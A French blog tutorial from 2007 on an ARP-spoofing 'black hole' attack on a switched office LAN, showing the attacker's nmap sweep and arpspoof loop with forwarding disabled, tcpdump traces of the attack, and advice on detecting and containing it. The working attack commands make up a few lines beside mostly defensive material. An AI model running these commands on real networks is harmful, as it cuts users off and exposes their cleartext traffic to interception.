www.starend.org

TechNIX

Tags

trou noir blackhole réseau ethernet arp mac spoof snif arpspoof nmap

Trou noir sur le réseau! Trou noir sur le réseau!

17/05/2007

1/Introduction

Le terrain de jeux :

/blackhole01.png" border=0 />

Les machines :
serveur @mac=00:A0:D2:16:8F:CF @ip=192.168.0.10
station1 @mac=00:30:1B:AC:6F:F5 @ip=192.168.0.11
station2 @mac=00:01:03:05:BE:48 @ip=192.168.0.12
station3 @mac=00:10:B5:FA:EF:6C @ip=192.168.0.13
portable @mac=00:E0:00:1A:71:0C @ip=192.168.0.21

Le réseau : 192.168.0.0/24

Je ne représente qu'un seul serveur et que trois postes clients. Mais la manipulation reste valable avec 30 serveurs et 150 postes clients, voir plus.

L'administrateur de ce réseau utilise un des postes clients pour cette basse besogne. Il décide de 'sécuriser' son réseau, il remplace le vieux hub poussif par un joli petit switch tout beau tout neuf. Comme ça, on pourra plus sniffer ses mots de passe en clair sur le réseau. Et monsieur Duran ne fera plus ramer tout le monde en redistribuant ses divx depuis son portable. Bouh'd'jou!

2/Installer les outils nécessaires au trou noir

Sur la station de l'admin, on installe tcpdump pour pouvoir suivre ce qui se passe.

Et tout ce passe bien pour l'instant, la preuve : cette capture depuis la station1 :

admin@station1$ arp -an
? (192.168.0.13) à 00:10:B5:FA:EF:6C [ether] sur eth0
? (192.168.0.12) à 00:01:03:05:BE:48 [ether] sur eth0
? (192.168.0.21) à 00:E0:00:1A:71:0C [ether] sur eth0
? (192.168.0.10) à 00:A0:D2:16:8F:CF [ether] sur eth0

admin@station1$ sudo tcpdump -n -i eth0 | grep " arp "
15:54:26.982770 arp who-has 192.168.0.13 tell 192.168.0.11
15:54:26.983236 arp reply 192.168.0.13 is-at 00:10:b5:fa:ef:6c
15:54:31.982234 arp who-has 192.168.0.11 tell 192.168.0.13
15:54:31.982260 arp reply 192.168.0.11 is-at 00:30:1b:ac:6f:f5
...

Sur une des machines, le portable, on installe nmap et dsniff :

duran@portable$ sudo aptitude install nmap dsniff

Et ben oui, monsieur Duran est un script kiddie. Qui l'eut cru? Lui qui pense que sniffer a toujours trait à des substances hallucinogènes. Il récupère et teste bêtement sur sa machine tout ce qu'il trouve sur internet. Ca par contre on le savait déjà, merci pour les virus et autres cochonneries...

3/Le trou noir - Attaque

Trois étapes :
1) désactiver le routage du portable (ip_forward=0);
2) récupérer la liste des machines du réseau au moyen d'un scanner réseau (nmap);
3) lancer une usurpation de l'adresse MAC (arpspoof) pour chaque machine détectée.

duran@portable$ sudo sysctl -w net.ipv4.ip_forward=0
duran@portable$ IP=$(sudo nmap -sP 192.168.0.0/24 | grep " be up.$" | cut -d '(' -f 2 | cut -d ')' -f 1)
duran@portable$ for I in $IP ; do echo $I ; { sudo arpspoof -i eth0 $I & } ; done

Ici, la différence entre le hack pour sniffer les mots de passe et le trou noir, c'est si on active le routage... ou pas (ip_forward).

Le scan ICMP du réseau est imparfait. Il ne fera ressortir que les machines qui répondent aux pings. Mais vous trouverez mieux :-)

4/Le trou pas si noir que ça - Détection

Là, si vous avez un IDS/IPS, celui-ci doit commencer à devenir rouge de colère, voir commencer tout seul à donner des baffes.

Certaines machines (de mémoire Woinwoin XP) doivent aussi commencer à se lamenter de se faire piquer leur adresse IP.

Et surtout, plus grave, plus personne ne peut travailler sur le réseau, le patron y compris.

On peut mettre en évidence l'attaque sur un poste client avec un logiciel d'analyse réseau (tcpdump).

Là, c'est la phase préliminaire de l'attaque, le scan du réseau :

admin@station1$ sudo tcpdump -n -i eth0
...
17:08:45.907588 arp who-has 192.168.0.0 (ff:ff:ff:ff:ff:ff) tell 192.168.0.21
17:08:45.907649 arp who-has 192.168.0.1 (ff:ff:ff:ff:ff:ff) tell 192.168.0.21
17:08:45.907670 arp reply 192.168.0.1 is-at 00:30:1b:ac:6f:f5
17:08:46.011035 arp who-has 192.168.0.0 (ff:ff:ff:ff:ff:ff) tell 192.168.0.21
17:08:46.544375 arp who-has 192.168.0.3 (ff:ff:ff:ff:ff:ff) tell 192.168.0.21
17:08:46.544441 arp who-has 192.168.0.4 (ff:ff:ff:ff:ff:ff) tell 192.168.0.21
17:08:46.544509 arp who-has 192.168.0.5 (ff:ff:ff:ff:ff:ff) tell 192.168.0.21
etc...
17:08:51.639837 arp who-has 192.168.0.252 (ff:ff:ff:ff:ff:ff) tell 192.168.0.21
17:08:51.743205 arp who-has 192.168.0.253 (ff:ff:ff:ff:ff:ff) tell 192.168.0.21
17:08:51.743269 arp who-has 192.168.0.254 (ff:ff:ff:ff:ff:ff) tell 192.168.0.21
17:08:51.743338 arp who-has 192.168.0.255 (ff:ff:ff:ff:ff:ff) tell 192.168.0.21
17:08:51.847197 arp who-has 192.168.0.253 (ff:ff:ff:ff:ff:ff) tell 192.168.0.21
17:08:51.847257 arp who-has 192.168.0.254 (ff:ff:ff:ff:ff:ff) tell 192.168.0.21
17:08:51.847326 arp who-has 192.168.0.255 (ff:ff:ff:ff:ff:ff) tell 192.168.0.21
...

Pas très discret, non? Encore faut-il être là au bon moment pour la voir. Et rien de bien grave pour l'instant.

Cette phase préliminaire peut être beaucoup plus discrète. Voir, elle peut être complètement invisible si l'on écoute le trafic réseau avec un sniffeur (tcpdump) pour se constituer la liste des machines du réseau. Et avec des Woindows dans les parages, ça risque d'aller très très vite...

Maintenant nous avons l'attaque proprement dite en phase active :

admin@station1$ sudo tcpdump -n -i eth0 | grep " arp "
17:47:29.001348 arp reply 192.168.0.11 is-at 00:e0:00:1a:71:0c
17:47:29.057356 arp reply 192.168.0.12 is-at 00:e0:00:1a:71:0c
17:47:29.149326 arp reply 192.168.0.13 is-at 00:e0:00:1a:71:0c
17:47:30.945372 arp reply 192.168.0.10 is-at 00:e0:00:1a:71:0c
17:47:31.005394 arp reply 192.168.0.11 is-at 00:e0:00:1a:71:0c
17:47:31.065396 arp reply 192.168.0.12 is-at 00:e0:00:1a:71:0c
17:47:31.157376 arp reply 192.168.0.13 is-at 00:e0:00:1a:71:0c
17:47:32.953412 arp reply 192.168.0.10 is-at 00:e0:00:1a:71:0c
17:47:33.009454 arp reply 192.168.0.11 is-at 00:e0:00:1a:71:0c
17:47:33.069431 arp reply 192.168.0.12 is-at 00:e0:00:1a:71:0c
17:47:33.165418 arp reply 192.168.0.13 is-at 00:e0:00:1a:71:0c
17:47:34.961463 arp reply 192.168.0.10 is-at 00:e0:00:1a:71:0c
...

On remarque qu'elle a les caractéristiques d'un spoof arp.

L'attaque est-elle réussie?
Oui :

admin@station1$ arp -an
? (192.168.0.13) à 00:E0:00:1A:71:0C [ether] sur eth0
? (192.168.0.12) à 00:E0:00:1A:71:0C [ether] sur eth0
? (192.168.0.21) à 00:E0:00:1A:71:0C [ether] sur eth0
? (192.168.0.10) à 00:E0:00:1A:71:0C [ether] sur eth0

Tout le trafic réseau en sortie de la station1 est directement envoyé à cette adresse MAC, quelle que soit la destination. Et il y a de fortes chances pour que tout le traffic entrant y soit passé aussi (mais là ce n'est plus la version trou noir). Donc, conclusion, tout ce qui y passe en clair est potentiellement compromis :-(

5/Se débarrasser du trou noir - Contre-attaque

Alors hop! On lâche la souris et le clavier! Qui est le responsable de ce bordel??? Là c'est le patron qui demande (au seul admin qui n'a pas trouvé assez rapidement une autre tâche urgente :-)

Si il n'a pas vu les captures au-dessus et la signature d'attaque... Dommage chomage...
Si il les a vues, bien. Maintenant il va falloir se bouger l'arrière train pour trouver qui est le coupable.

"Ben c'est cette machine 00:E0:00:1A:71:0C qui nous met la pagaille" dixit l'admin. Et cette machine, elle est où? Avec un IDS ou une centralisation des logs, si on n'est pas bloqué par le réseau pour les consulter, on peut façilement regarder à quelle adresse IP appartenait cette adresse MAC. Et avec l'adresse IP, j'espère, on sait à qui est le poste (liste 'à jour' des postes, nom de machine présenté au dhcp, dernière authentifiation, etc...). On peut aussi consulter les ports du switch, si il est administrable, et si on a la liste 'à jour' des machines reliées à chaques ports. Et sinon? Eventuellement regarder sur le swith quel port a un trafic permanent. Et sinon? Et bien... la marche risque d'être longue... surtout si le poste n'est pas un poste connu sur le réseau (intrusion physique)...

6/La méthode pour répondre rapidement à ce problème

1) Avoir sous la main (ou pas loin) les correspondances 'à jour' :

M.I.P.U.
adresse MAC <=> adresse IP <=> nom du Poste <=> nom de l'Utilisateur
---

2) Segmenter son réseau pour limiter la portée des problèmes. Et en plus ça déchargera en même temps d'une partie des broadcasts de Woindows. Et si possible les postes d'administration sur un réseau à part des postes clients, avec un bon pare-feu au milieu. Idem pour les serveurs. S'il arrive quelque chose à votre poste d'administration, vous en serez le seul responsable.

3) Mettre si possible des switchs administrables.

7/La morale de cette histoire...

Un switch en tant que tel n'est pas un élément de sécurité, c'est juste une amélioration du réseau. A choisir, prendre des switchs administrables.

Garder une liste MIPU de son réseau à jour, et pas d'il y a 1 an. Comment peut-on dire qui est un intrus sur son réseau si on ne sait même pas qui y a une place légitime?

Segmenter le réseau, surtout celui des admins et celui des serveurs, ça réduira la portée des problèmes.

Et enfin, centraliser les logs. A défaut d'éviter de vous faire virer, vous saurez pourquoi :-)

Licence Creative Common 2007 :: BY-NC-SA :: Webdesign DENDIEVEL Stéphane